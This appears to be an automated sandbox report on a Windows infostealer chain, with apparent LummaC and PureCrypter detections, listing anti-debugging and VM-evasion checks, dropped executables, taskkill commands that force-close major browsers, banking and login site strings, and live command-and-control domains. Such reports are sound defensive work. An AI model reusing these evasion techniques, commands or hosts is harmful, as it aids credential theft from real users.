Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000015.00000002.2494342349.0000000000BFB000.00000040.00000001.01000000.0000000D.sdmp, 067286f766.exe, 0000001A.00000001.2839721017.00000000001F5000.00000040.00000001.01000000.0000000F.sdmp, fd9f6e129b.exe, 0000001B.00000002.2943280562.00000000009F3000.00000040.00000001.01000000.00000010.sdmp, 067286f766.exe, 0000002B.00000001.2980778771.00000000001F5000.00000040.00000001.01000000.0000000F.sdmp, 8416d1ef13.exe, 0000002D.00000000.3004760911.0000000000348000.00000080.00000001.01000000.00000016.sdmp, 8416d1ef13.exe, 0000002D.00000002.3167356217.0000000000348000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: firefox.exe, 0000002C.00000002.3183867295.0000027883FEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlldP
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, fd9f6e129b.exe, 0000001B.00000002.2945693748.00000000014B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3183867295.0000027883FEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000002C.00000002.3198046960.0000027884318000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000002.2414963781.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx"
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.0000000001482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 0000002C.00000002.3218697886.0000027884740000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3120665380.0000016F7E272000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: firefox.exe, 0000002C.00000002.3218697886.0000027884740000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: firefox.exe, 0000002C.00000002.3183867295.0000027883FEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWkY
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2414963781.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware'
Source: file.exe, 00000000.00000002.2413763885.0000000000653000.00000040.00000001.01000000.00000003.sdmp, DocumentsHCFCAAEBGC.exe, 00000013.00000002.2451811855.0000000000ECB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000014.00000002.2492633104.0000000000BFB000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000015.00000002.2494342349.0000000000BFB000.00000040.00000001.01000000.0000000D.sdmp, 067286f766.exe, 0000001A.00000001.2839721017.00000000001F5000.00000040.00000001.01000000.0000000F.sdmp, fd9f6e129b.exe, 0000001B.00000002.2943280562.00000000009F3000.00000040.00000001.01000000.00000010.sdmp, 067286f766.exe, 0000002B.00000001.2980778771.00000000001F5000.00000040.00000001.01000000.0000000F.sdmp, 8416d1ef13.exe, 0000002D.00000000.3004760911.0000000000348000.00000080.00000001.01000000.00000016.sdmp, 8416d1ef13.exe, 0000002D.00000002.3167356217.0000000000348000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHCFCAAEBGC.exe

Code function: 19_2_05190CCE rdtsc

19_2_05190CCE

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C535FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C535FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C50B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C50B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 1656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fd9f6e129b.exe PID: 5668, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 067286f766.exe, 0000002B.00000003.3077493982.0000000005C09000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-485,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures

LummaC encrypted strings found

Source: 067286f766.exe, 0000001A.00000003.2852428112.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 067286f766.exe, 0000001A.00000003.2852428112.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 067286f766.exe, 0000001A.00000003.2852428112.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: 067286f766.exe, 0000001A.00000003.2852428112.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 067286f766.exe, 0000001A.00000003.2852428112.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFCAAEBGC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCFCAAEBGC.exe "C:\Users\user\DocumentsHCFCAAEBGC.exe"
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe "C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe "C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe "C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe "C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe "C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe"
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 92cf6f64c8.exe, 0000001D.00000002.3006917408.0000000000972000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, file.exe, 00000000.00000002.2413763885.0000000000653000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: yTProgram Manager
Source: firefox.exe, 0000002A.00000002.3185395158.000000F9771FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 8416d1ef13.exe, 0000002D.00000002.3177197431.0000000000391000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: OProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B341 cpuid

0_2_6C50B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
